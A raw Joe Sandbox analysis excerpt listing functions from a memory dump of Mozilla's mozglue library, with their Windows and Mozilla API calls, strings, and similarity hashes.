APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C654843,?), ref: 6C6145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C654843,?), ref: 6C61468A
free.MOZGLUE(?,?,?,?,?,?,6C654843,?), ref: 6C6146C9
free.MOZGLUE(?), ref: 6C6146EF
free.MOZGLUE(?), ref: 6C614712
free.MOZGLUE(?), ref: 6C614735
free.MOZGLUE(?), ref: 6C614758
free.MOZGLUE(?), ref: 6C61477B
free.MOZGLUE(?), ref: 6C61479E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 744a25ddef23ebbd6ad533f32f04348a1ccca16396b3a3db468150f1667d728e
Instruction ID: bf24f17e66fe8cee649b3af04b37c0a2483e0d38a7639a54ebdd3b8618c871da
Opcode Fuzzy Hash: 744a25ddef23ebbd6ad533f32f04348a1ccca16396b3a3db468150f1667d728e
Instruction Fuzzy Hash: 1EB1E571A081118FDB18DE3CD8E07BD76A1AF4232EF184629E416DBFD6D7B0D8408B99

Function 6C67AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C67AC52
CreateFileMappingW.KERNEL32 ref: 6C67AC7D
GetSystemInfo.KERNEL32 ref: 6C67AC98
MapViewOfFile.KERNEL32 ref: 6C67ACB0
GetSystemInfo.KERNEL32 ref: 6C67ACCD
MapViewOfFile.KERNEL32 ref: 6C67AD05
UnmapViewOfFile.KERNEL32 ref: 6C67AD1C
CloseHandle.KERNEL32 ref: 6C67AD28
UnmapViewOfFile.KERNEL32 ref: 6C67AD37
CloseHandle.KERNEL32 ref: 6C67AD43
CloseHandle.KERNEL32 ref: 6C67AD67

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d3542cf5e6aada7435af3cb694444ae3a695f7296dc89632ae61e6b492f5fd73
Instruction ID: 9f533a2688b44771f73686029cecf23bfa5a3c1d9a17b337fed28c7b7c517fcd
Opcode Fuzzy Hash: d3542cf5e6aada7435af3cb694444ae3a695f7296dc89632ae61e6b492f5fd73
Instruction Fuzzy Hash: C1318FB1A087058FDB10EF79C68826EBBF4BF85345F01892DE98587201EB709449CB96

Function 6C629620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C629675
__Init_thread_footer.LIBCMT ref: 6C629697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C629707
__Init_thread_footer.LIBCMT ref: 6C62971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629773

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6297B7
FreeLibrary.KERNEL32 ref: 6C6297D0
FreeLibrary.KERNEL32 ref: 6C6297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629824

Strings

NtMapViewOfSection, xrefs: 6C629701
ntdll.dll, xrefs: 6C6296E3
MapViewOfFileNuma2, xrefs: 6C6297B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C629670

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 0125228d94a3f8e78d869fb6862f5863cac7d7ece5b9b8d579aef8ecfe800a70
Instruction ID: 6c948555d2228dec184d2a2a8dfc1a9923036e11bf35871196647df1d3797872
Opcode Fuzzy Hash: 0125228d94a3f8e78d869fb6862f5863cac7d7ece5b9b8d579aef8ecfe800a70
Instruction Fuzzy Hash: B941A2707002079BDF00CFA6E8D4A9677B4FB8A358F018528FD158BB40D734A815CFAA

Function 6C660000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C660039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C660041
GetCurrentThreadId.KERNEL32 ref: 6C660075
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C660082
moz_xmalloc.MOZGLUE(00000048), ref: 6C660090
free.MOZGLUE(?), ref: 6C660104
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C66011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C66005B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 679d726b81a911228dec340b80ac042668c1ed81d74b22a1e178241ea8c0d629
Instruction ID: 6f39d6aad2e8fedf872ce1ad9dd945b70ac397652f14c0032ebec84d9016bd6a
Opcode Fuzzy Hash: 679d726b81a911228dec340b80ac042668c1ed81d74b22a1e178241ea8c0d629
Instruction Fuzzy Hash: 0241A0B55002459FCB10CF66C880A9ABBF1FF4A718F50492EE99A83B50D731B815CF9E

Function 6C627E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C627EA7
malloc.MOZGLUE(00000001), ref: 6C627EB3

Part of subcall function 6C62CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C62CB49
Part of subcall function 6C62CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C62CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C627EC4
mozalloc_abort.MOZGLUE(?), ref: 6C627F19
malloc.MOZGLUE(?), ref: 6C627F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C627F4D

Strings

d, xrefs: 6C627F89

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: fd94a694cb31e9d84d7262a09c84781630195dbf9eb4bf661f09574a6e3d9591
Instruction ID: eb7601a36703979719891c912f4c69d0e3c4d1f6c30e8f1a254d707d8efb4046
Opcode Fuzzy Hash: fd94a694cb31e9d84d7262a09c84781630195dbf9eb4bf661f09574a6e3d9591
Instruction Fuzzy Hash: 33312761E04349A7DB009F69CC409FEB778EF97318F049229DE4997212FB30A588C3A8

Function 6C623E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C623CCC), ref: 6C623EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C623FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C623CCC), ref: 6C624006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C623CCC), ref: 6C6240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C623CCC), ref: 6C6240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C624134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C623CCC), ref: 6C624143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C623CCC), ref: 6C624157

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 11e42738bc9d44cc62bcc5d729d0e2f8608014889a0adde5dd7059d264c28563
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: DCA17DB1A00215CFDB50CF28C880669B7B5FF48308F2541A9D909AF742D775E886CFA8

Function 6C612030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C633F47,?,?,?,6C633F47,6C631A70,?), ref: 6C61207F
memset.VCRUNTIME140(?,000000E5,6C633F47,?,6C633F47,6C631A70,?), ref: 6C6120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C633F47,6C631A70,?), ref: 6C61211A
EnterCriticalSection.KERNEL32(6C69E744,?,6C633F47,6C631A70,?), ref: 6C612145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C633F47,6C631A70,?), ref: 6C6121BA
EnterCriticalSection.KERNEL32(6C69E744,?,6C633F47,6C631A70,?), ref: 6C6121E0
LeaveCriticalSection.KERNEL32(6C69E744,?,6C633F47,6C631A70,?), ref: 6C612232

Strings

MOZ_CRASH(), xrefs: 6C61227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C612253, 6C612268

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 0ff511a577bba010878155e4acdb4d2d34d405e745b187b14485562f24b7c39c
Instruction ID: a5bdbf21f48264f3e96f0eee4ed09976c2e04f1a389b2dc7e6dae6343b4a40f2
Opcode Fuzzy Hash: 0ff511a577bba010878155e4acdb4d2d34d405e745b187b14485562f24b7c39c
Instruction Fuzzy Hash: 2861C531F082168FCB04CE6DC98976E77B5AF86319F254235E625ABF94D7709C00C789

Function 6C669D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C668273), ref: 6C669D65
free.MOZGLUE(6C668273,?), ref: 6C669D7C
free.MOZGLUE(?,?), ref: 6C669D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C669E0F
free.MOZGLUE(6C66946B,?,?), ref: 6C669E24
free.MOZGLUE(?,?,?), ref: 6C669E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C669EC8
free.MOZGLUE(6C66946B,?,?,?), ref: 6C669EDF
free.MOZGLUE(?,?,?,?), ref: 6C669EF5

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: bb57053dd791444a9bdc98cdfd9989eeea7a964fb40cf6f20d55c99f0cf1b28a
Instruction ID: 3adb6ad83afd2ad7cc37ecd68dfdc49f04b78391ed25b0a6f611712109311f31
Opcode Fuzzy Hash: bb57053dd791444a9bdc98cdfd9989eeea7a964fb40cf6f20d55c99f0cf1b28a
Instruction Fuzzy Hash: FA719070909B418BC712CF19C44055BF3F4FF99319B44A619EC9E9BB11EB30E886CB8A

Function 6C66DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C66DDCF

Part of subcall function 6C64FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64FA4B

Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C6690FF
Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C669108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DE0D
free.MOZGLUE(00000000), ref: 6C66DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C65DEFD,?,6C624A68), ref: 6C66DF32

Part of subcall function 6C66DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C66DB86
Part of subcall function 6C66DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C66DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C65DEFD,?,6C624A68), ref: 6C66DF65
free.MOZGLUE(?), ref: 6C66DF80

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 47f6abe5d3499ab1b2626c7e8a37caca8ad1ff9acdeb30d779d5bf077381b780
Instruction ID: cada9450542640352110afd06de7d736c5cdd59b4d08eb9f78074adc2b4fb674
Opcode Fuzzy Hash: 47f6abe5d3499ab1b2626c7e8a37caca8ad1ff9acdeb30d779d5bf077381b780
Instruction Fuzzy Hash: F451A2766016119BD7119F2AD8806AEB3B2AF9231CFA5051CD85A53F00DB31F91ACB9F

Function 6C675D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675DC9
std::_Facet_Register.LIBCPMT ref: 6C675DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675E45

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 10f9d892111914b6522be797d673328c89968bcd97526d6ab733abbd7119a91c
Instruction ID: 74552d5a356d61208852e09068f43c32bb94086544e280e62200245b662aafc0
Opcode Fuzzy Hash: 10f9d892111914b6522be797d673328c89968bcd97526d6ab733abbd7119a91c
Instruction Fuzzy Hash: A7416E307002059FDB20DFA6C8D8AAE77F5EF89314F1444A8E50A9B791EB30E805CF69

Function 6C64CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6131A7), ref: 6C64CDDD

Strings

<jemalloc>, xrefs: 6C64CF9F, 6C64CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C64CFA4, 6C64CFB8

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 74972c78a21a3d9052ab7d09e80e7eb7511b4be8de5123ac244e1af54a07db6e
Instruction ID: a84c5ba722751a78b64ade88c9c5b2321a8bff1989fcbe19193025ebb043c6c5
Opcode Fuzzy Hash: 74972c78a21a3d9052ab7d09e80e7eb7511b4be8de5123ac244e1af54a07db6e
Instruction Fuzzy Hash: AF3192317402166BEB10AE668C85FAE7B79AF81B58F30C014E612ABB80DB70D505CB9D

Function 6C61ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C61F100: LoadLibraryW.KERNEL32(shell32,?,6C68D020), ref: 6C61F122
Part of subcall function 6C61F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C61F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C61ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C61EDCC
CreateFileW.KERNEL32 ref: 6C61EE08
free.MOZGLUE(00000000), ref: 6C61EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C61EE32

Part of subcall function 6C61EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C61EBB5
Part of subcall function 6C61EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C64D7F3), ref: 6C61EBC3
Part of subcall function 6C61EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C64D7F3), ref: 6C61EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C61EDC1

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0fe97d88cc71a00f481048e7369c4c83958fcacbdb02545f614b570006befc4b
Instruction ID: b7918321e6afe269afc751eb2df2165c4c584b11989ffce471b42bf6d3da39be
Opcode Fuzzy Hash: 0fe97d88cc71a00f481048e7369c4c83958fcacbdb02545f614b570006befc4b
Instruction Fuzzy Hash: 0651E471D092059BDB00DF6CC8846EEB7F0AF5A319F44852DE85567F40E730A949CBEA

Function 6C68A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C68A565

Part of subcall function 6C68A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68A4BE
Part of subcall function 6C68A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C68A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C68A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C68A6B6

Strings

z, xrefs: 6C68A6AE
0, xrefs: 6C68A5FB

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: f6338bf362bdd6f6ef11778f4112d4dad0614d4119a39c55f176a28abe486af5
Instruction ID: 94876e7137e36ecdbd2d8227da88bb25e9bb3e56bf794728036b6d3dab86efd2
Opcode Fuzzy Hash: f6338bf362bdd6f6ef11778f4112d4dad0614d4119a39c55f176a28abe486af5
Instruction Fuzzy Hash: 9E4148719097459FC341CF28C080A8FBBE5BF8A344F408A2EF89987695E730D589CB96

Function 6C659420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
